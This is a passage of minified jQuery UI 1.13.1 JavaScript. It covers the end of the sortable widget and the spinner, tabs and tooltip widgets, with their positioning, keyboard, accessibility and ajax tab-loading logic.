e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),"document"!==n.containment&&"window"!==n.containment||(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),n="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(n?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(n?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i=i||this.position;var n="absolute"===t?1:-1,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent;return t=/(html|body)/i.test(r[0].tagName),{top:i.top+this.offset.relative.top*n+this.offset.parent.top*n-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():t?0:r.scrollTop())*n,left:i.left+this.offset.relative.left*n+this.offset.parent.left*n-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():t?0:r.scrollLeft())*n}},_generatePosition:function(t){var i=this.options,n=t.pageX,r=t.pageY,s="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(s[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(n=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(r=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(n=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(r=this.containment[3]+this.offset.click.top)),i.grid&&(t=this.originalPageY+Math.round((r-this.originalPageY)/i.grid[1])*i.grid[1],r=!this.containment||t-this.offset.click.top>=this.containment[1]&&t-this.offset.click.top<=this.containment[3]?t:t-this.offset.click.top>=this.containment[1]?t-i.grid[1]:t+i.grid[1],t=this.originalPageX+Math.round((n-this.originalPageX)/i.grid[0])*i.grid[0],n=!this.containment||t-this.offset.click.left>=this.containment[0]&&t-this.offset.click.left<=this.containment[2]?t:t-this.offset.click.left>=this.containment[0]?t-i.grid[0]:t+i.grid[0])),{top:r-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:s.scrollTop()),left:n-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:s.scrollLeft())}},_rearrange:function(e,t,i,n){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var r=this.counter;this._delay((function(){r===this.counter&&this.refreshPositions(!n)}))},_clear:function(e,t){this.reverting=!1;var i,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)"auto"!==this._storedCSS[i]&&"static"!==this._storedCSS[i]||(this._storedCSS[i]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();function r(e,t,i){return function(n){i._trigger(e,n,t._uiHash(t))}}for(this.fromOutside&&!t&&n.push((function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))})),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push((function(e){this._trigger("update",e,this._uiHash())})),this!==this.currentContainer&&(t||(n.push((function(e){this._trigger("remove",e,this._uiHash())})),n.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),i=this.containers.length-1;0<=i;i--)t||n.push(r("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(n.push(r("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(i=0;i<n.length;i++)n[i].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){!1===e.Widget.prototype._trigger.apply(this,arguments)&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}}),e.widget("ui.spinner",{version:"1.13.1",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var t=this._super(),i=this.element;return e.each(["min","max","step"],(function(e,n){var r=i.attr(n);null!=r&&r.length&&(t[n]=r)})),t},_events:{keydown:function(e){this._start(e)&&this._keydown(e)&&e.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(e){this.cancelBlur?delete this.cancelBlur:(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",e))},mousewheel:function(t,i){var n=e.ui.safeActiveElement(this.document[0]);if(this.element[0]===n&&i){if(!this.spinning&&!this._start(t))return!1;this._spin((0<i?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay((function(){this.spinning&&this._stop(t)}),100),t.preventDefault()}},"mousedown .ui-spinner-button":function(t){var i;function n(){this.element[0]===e.ui.safeActiveElement(this.document[0])||(this.element.trigger("focus"),this.previous=i,this._delay((function(){this.previous=i})))}i=this.element[0]===e.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),n.call(this),this.cancelBlur=!0,this._delay((function(){delete this.cancelBlur,n.call(this)})),!1!==this._start(t)&&this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(e(t.currentTarget).hasClass("ui-state-active"))return!1!==this._start(t)&&void this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&0<this.uiSpinner.height()&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var i=this.options,n=e.ui.keyCode;switch(t.keyCode){case n.UP:return this._repeat(null,1,t),!0;case n.DOWN:return this._repeat(null,-1,t),!0;case n.PAGE_UP:return this._repeat(null,i.page,t),!0;case n.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_start:function(e){return!(!this.spinning&&!1===this._trigger("start",e))&&(this.counter||(this.counter=1),this.spinning=!0)},_repeat:function(e,t,i){e=e||500,clearTimeout(this.timer),this.timer=this._delay((function(){this._repeat(40,t,i)}),e),this._spin(t*this.options.step,i)},_spin:function(e,t){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+e*this._increment(this.counter)),this.spinning&&!1===this._trigger("spin",t,{value:i})||(this._value(i),this.counter++)},_increment:function(e){var t=this.options.incremental;return t?"function"==typeof t?t(e):Math.floor(e*e*e/5e4-e*e/500+17*e/200+1):1},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min?Math.max(e,this._precisionOf(this.options.min)):e},_precisionOf:function(e){var t=e.toString();return-1===(e=t.indexOf("."))?0:t.length-e-1},_adjustValue:function(e){var t=this.options,i=null!==t.min?t.min:0,n=e-i;return e=i+Math.round(n/t.step)*t.step,e=parseFloat(e.toFixed(this._precision())),null!==t.max&&e>t.max?t.max:null!==t.min&&e<t.min?t.min:e},_stop:function(e){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",e))},_setOption:function(e,t){var i;if("culture"===e||"numberFormat"===e)return i=this._parse(this.element.val()),this.options[e]=t,void this.element.val(this._format(i));"max"!==e&&"min"!==e&&"step"!==e||"string"==typeof t&&(t=this._parse(t)),"icons"===e&&(i=this.buttons.first().find(".ui-icon"),this._removeClass(i,null,this.options.icons.up),this._addClass(i,null,t.up),i=this.buttons.last().find(".ui-icon"),this._removeClass(i,null,this.options.icons.down),this._addClass(i,null,t.down)),this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!e),this.element.prop("disabled",!!e),this.buttons.button(e?"disable":"enable")},_setOptions:ce((function(e){this._super(e)})),_parse:function(e){return""===(e="string"==typeof e&&""!==e?window.Globalize&&this.options.numberFormat?Globalize.parseFloat(e,10,this.options.culture):+e:e)||isNaN(e)?null:e},_format:function(e){return""===e?"":window.Globalize&&this.options.numberFormat?Globalize.format(e,this.options.numberFormat,this.options.culture):e},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var e=this.value();return null!==e&&e===this._adjustValue(e)},_value:function(e,t){var i;""!==e&&null!==(i=this._parse(e))&&(t||(i=this._adjustValue(i)),e=this._format(i)),this.element.val(e),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:ce((function(e){this._stepUp(e)})),_stepUp:function(e){this._start()&&(this._spin((e||1)*this.options.step),this._stop())},stepDown:ce((function(e){this._stepDown(e)})),_stepDown:function(e){this._start()&&(this._spin((e||1)*-this.options.step),this._stop())},pageUp:ce((function(e){this._stepUp((e||1)*this.options.page)})),pageDown:ce((function(e){this._stepDown((e||1)*this.options.page)})),value:function(e){if(!arguments.length)return this._parse(this.element.val());ce(this._value).call(this,e)},widget:function(){return this.uiSpinner}}),!1!==e.uiBackCompat&&e.widget("ui.spinner",e.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}}),e.ui.spinner,e.widget("ui.tabs",{version:"1.13.1",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:(oe=/#.*$/,function(e){var t=e.href.replace(oe,""),i=location.href.replace(oe,"");try{t=decodeURIComponent(t)}catch(e){}try{i=decodeURIComponent(i)}catch(e){}return 1<e.hash.length&&t===i}),_create:function(){var t=this,i=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,i.collapsible),this._processTabs(),i.active=this._initialActive(),Array.isArray(i.disabled)&&(i.disabled=e.uniqueSort(i.disabled.concat(e.map(this.tabs.filter(".ui-state-disabled"),(function(e){return t.tabs.index(e)})))).sort()),!1!==this.options.active&&this.anchors.length?this.active=this._findActive(i.active):this.active=e(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var t=this.options.active,i=this.options.collapsible,n=location.hash.substring(1);return null===t&&(n&&this.tabs.each((function(i,r){if(e(r).attr("aria-controls")===n)return t=i,!1})),null!==(t=null===t?this.tabs.index(this.tabs.filter(".ui-tabs-active")):t)&&-1!==t||(t=!!this.tabs.length&&0)),!1!==t&&-1===(t=this.tabs.index(this.tabs.eq(t)))&&(t=!i&&0),t=!i&&!1===t&&this.anchors.length?0:t},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):e()}},_tabKeydown:function(t){var i=e(e.ui.safeActiveElement(this.document[0])).closest("li"),n=this.tabs.index(i),r=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:n++;break;case e.ui.keyCode.UP:case e.ui.keyCode.LEFT:r=!1,n--;break;case e.ui.keyCode.END:n=this.anchors.length-1;break;case e.ui.keyCode.HOME:n=0;break;case e.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),void this._activate(n);case e.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),void this._activate(n!==this.options.active&&n);default:return}t.preventDefault(),clearTimeout(this.activating),n=this._focusNextTab(n,r),t.ctrlKey||t.metaKey||(i.attr("aria-selected","false"),this.tabs.eq(n).attr("aria-selected","true"),this.activating=this._delay((function(){this.option("active",n)}),this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===e.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===e.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===e.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,i){for(var n=this.tabs.length-1;-1!==e.inArray(t=(t=n<t?0:t)<0?n:t,this.options.disabled);)t=i?t+1:t-1;return t},_focusNextTab:function(e,t){return e=this._findNextTab(e,t),this.tabs.eq(e).trigger("focus"),e},_setOption:function(e,t){"active"!==e?(this._super(e,t),"collapsible"===e&&(this._toggleClass("ui-tabs-collapsible",null,t),t||!1!==this.options.active||this._activate(0)),"event"===e&&this._setupEvents(t),"heightStyle"===e&&this._setupHeightStyle(t)):this._activate(t)},_sanitizeSelector:function(e){return e?e.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,i=this.tablist.children(":has(a[href])");t.disabled=e.map(i.filter(".ui-state-disabled"),(function(e){return i.index(e)})),this._processTabs(),!1!==t.active&&this.anchors.length?this.active.length&&!e.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=e()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=e()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var t=this,i=this.tabs,n=this.anchors,r=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",(function(t){e(this).is(".ui-state-disabled")&&t.preventDefault()})).on("focus"+this.eventNamespace,".ui-tabs-anchor",(function(){e(this).closest("li").is(".ui-state-disabled")&&this.blur()})),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map((function(){return e("a",this)[0]})).attr({tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=e(),this.anchors.each((function(i,n){var r,s,a,o=e(n).uniqueId().attr("id"),l=e(n).closest("li"),u=l.attr("aria-controls");t._isLocal(n)?(a=(r=n.hash).substring(1),s=t.element.find(t._sanitizeSelector(r))):(a=l.attr("aria-controls")||e({}).uniqueId()[0].id,(s=t.element.find(r="#"+a)).length||(s=t._createPanel(a)).insertAfter(t.panels[i-1]||t.tablist),s.attr("aria-live","polite")),s.length&&(t.panels=t.panels.add(s)),u&&l.data("ui-tabs-aria-controls",u),l.attr({"aria-controls":a,"aria-labelledby":o}),s.attr("aria-labelledby",o)})),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),i&&(this._off(i.not(this.tabs)),this._off(n.not(this.anchors)),this._off(r.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return e("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var i,n;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),n=0;i=this.tabs[n];n++)i=e(i),!0===t||-1!==e.inArray(n,t)?(i.attr("aria-disabled","true"),this._addClass(i,null,"ui-state-disabled")):(i.removeAttr("aria-disabled"),this._removeClass(i,null,"ui-state-disabled"));this.options.disabled=t,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!0===t)},_setupEvents:function(t){var i={};t&&e.each(t.split(" "),(function(e,t){i[t]="_eventHandler"})),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(e){e.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,n=this.element.parent();"fill"===t?(i=n.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each((function(){var t=e(this),n=t.css("position");"absolute"!==n&&"fixed"!==n&&(i-=t.outerHeight(!0))})),this.element.children().not(this.panels).each((function(){i-=e(this).outerHeight(!0)})),this.panels.each((function(){e(this).height(Math.max(0,i-e(this).innerHeight()+e(this).height()))})).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each((function(){i=Math.max(i,e(this).height("").height())})).height(i))},_eventHandler:function(t){var i=this.options,n=this.active,r=e(t.currentTarget).closest("li"),s=r[0]===n[0],a=s&&i.collapsible,o=a?e():this._getPanelForTab(r),l=n.length?this._getPanelForTab(n):e();n={oldTab:n,oldPanel:l,newTab:a?e():r,newPanel:o},t.preventDefault(),r.hasClass("ui-state-disabled")||r.hasClass("ui-tabs-loading")||this.running||s&&!i.collapsible||!1===this._trigger("beforeActivate",t,n)||(i.active=!a&&this.tabs.index(r),this.active=s?e():r,this.xhr&&this.xhr.abort(),l.length||o.length||e.error("jQuery UI Tabs: Mismatching fragment identifier."),o.length&&this.load(this.tabs.index(r),t),this._toggle(t,n))},_toggle:function(t,i){var n=this,r=i.newPanel,s=i.oldPanel;function a(){n.running=!1,n._trigger("activate",t,i)}function o(){n._addClass(i.newTab.closest("li"),"ui-tabs-active","ui-state-active"),r.length&&n.options.show?n._show(r,n.options.show,a):(r.show(),a())}this.running=!0,s.length&&this.options.hide?this._hide(s,this.options.hide,(function(){n._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),o()})):(this._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),s.hide(),o()),s.attr("aria-hidden","true"),i.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),r.length&&s.length?i.oldTab.attr("tabIndex",-1):r.length&&this.tabs.filter((function(){return 0===e(this).attr("tabIndex")})).attr("tabIndex",-1),r.attr("aria-hidden","false"),i.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){(t=this._findActive(t))[0]!==this.active[0]&&(t=(t=t.length?t:this.active).find(".ui-tabs-anchor")[0],this._eventHandler({target:t,currentTarget:t,preventDefault:e.noop}))},_findActive:function(t){return!1===t?e():this.tabs.eq(t)},_getIndex:function(t){return"string"==typeof t?this.anchors.index(this.anchors.filter("[href$='"+e.escapeSelector(t)+"']")):t},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each((function(){e.data(this,"ui-tabs-destroy")?e(this).remove():e(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")})),this.tabs.each((function(){var t=e(this),i=t.data("ui-tabs-aria-controls");i?t.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")})),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(t){var i=this.options.disabled;!1!==i&&(i=void 0!==t&&(t=this._getIndex(t),Array.isArray(i)?e.map(i,(function(e){return e!==t?e:null})):e.map(this.tabs,(function(e,i){return i!==t?i:null}))),this._setOptionDisabled(i))},disable:function(t){var i=this.options.disabled;if(!0!==i){if(void 0===t)i=!0;else{if(t=this._getIndex(t),-1!==e.inArray(t,i))return;i=Array.isArray(i)?e.merge([t],i).sort():[t]}this._setOptionDisabled(i)}},load:function(t,i){function n(e,t){"abort"===t&&r.panels.stop(!1,!0),r._removeClass(s,"ui-tabs-loading"),a.removeAttr("aria-busy"),e===r.xhr&&delete r.xhr}t=this._getIndex(t);var r=this,s=this.tabs.eq(t),a=(t=s.find(".ui-tabs-anchor"),this._getPanelForTab(s)),o={tab:s,panel:a};this._isLocal(t[0])||(this.xhr=e.ajax(this._ajaxSettings(t,i,o)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(s,"ui-tabs-loading"),a.attr("aria-busy","true"),this.xhr.done((function(e,t,s){setTimeout((function(){a.html(e),r._trigger("load",i,o),n(s,t)}),1)})).fail((function(e,t){setTimeout((function(){n(e,t)}),1)}))))},_ajaxSettings:function(t,i,n){var r=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,s){return r._trigger("beforeLoad",i,e.extend({jqXHR:t,ajaxSettings:s},n))}}},_getPanelForTab:function(t){return t=e(t).attr("aria-controls"),this.element.find(this._sanitizeSelector("#"+t))}}),!1!==e.uiBackCompat&&e.widget("ui.tabs",e.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}}),e.ui.tabs,e.widget("ui.tooltip",{version:"1.13.1",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=e(this).attr("title");return e("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(e,t){var i=(e.attr("aria-describedby")||"").split(/\s+/);i.push(t),e.data("ui-tooltip-id",t).attr("aria-describedby",String.prototype.trim.call(i.join(" ")))},_removeDescribedBy:function(t){var i=t.data("ui-tooltip-id"),n=(t.attr("aria-describedby")||"").split(/\s+/);-1!==(i=e.inArray(i,n))&&n.splice(i,1),t.removeData("ui-tooltip-id"),(n=String.prototype.trim.call(n.join(" ")))?t.attr("aria-describedby",n):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=e("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=e([])},_setOption:function(t,i){var n=this;this._super(t,i),"content"===t&&e.each(this.tooltips,(function(e,t){n._updateContent(t.element)}))},_setOptionDisabled:function(e){this[e?"_disable":"_enable"]()},_disable:function(){var t=this;e.each(this.tooltips,(function(i,n){var r=e.Event("blur");r.target=r.currentTarget=n.element[0],t.close(r,!0)})),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter((function(){var t=e(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")})))},_enable:function(){this.disabledTitles.each((function(){var t=e(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))})),this.disabledTitles=e([])},open:function(t){var i=this,n=e(t?t.target:this.element).closest(this.options.items);n.length&&!n.data("ui-tooltip-id")&&(n.attr("title")&&n.data("ui-tooltip-title",n.attr("title")),n.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&n.parents().each((function(){var t,n=e(this);n.data("ui-tooltip-open")&&((t=e.Event("blur")).target=t.currentTarget=this,i.close(t,!0)),n.attr("title")&&(n.uniqueId(),i.parents[this.id]={element:this,title:n.attr("title")},n.attr("title",""))})),this._registerCloseHandlers(t,n),this._updateContent(n,t))},_updateContent:function(e,t){var i=this.options.content,n=this,r=t?t.type:null;if("string"==typeof i||i.nodeType||i.jquery)return this._open(t,e,i);(i=i.call(e[0],(function(i){n._delay((function(){e.data("ui-tooltip-open")&&(t&&(t.type=r),this._open(t,e,i))}))})))&&this._open(t,e,i)},_open:function(t,i,n){var r,s,a,o=e.extend({},this.options.position);function l(e){o.of=e,s.is(":hidden")||s.position(o)}n&&((r=this._find(i))?r.tooltip.find(".ui-tooltip-content").html(n):(i.is("[title]")&&(t&&"mouseover"===t.type?i.attr("title",""):i.removeAttr("title")),r=this._tooltip(i),s=r.tooltip,this._addDescribedBy(i,s.attr("id")),s.find(".ui-tooltip-content").html(n),this.liveRegion.children().hide(),(n=e("<div>").html(s.find(".ui-tooltip-content").html())).removeAttr("name").find("[name]").removeAttr("name"),n.removeAttr("id").find("[id]").removeAttr("id"),n.appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:l}),l(t)):s.position(e.extend({of:i},this.options.position)),s.hide(),this._show(s,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(a=this.delayedShow=setInterval((function(){s.is(":visible")&&(l(o.of),clearInterval(a))}),13)),this._trigger("open",t,{tooltip:s})))},_registerCloseHandlers:function(t,i){var n={keyup:function(t){t.keyCode===e.ui.keyCode.ESCAPE&&((t=e.Event(t)).currentTarget=i[0],this.close(t,!0))}};i[0]!==this.element[0]&&(n.remove=function(){var 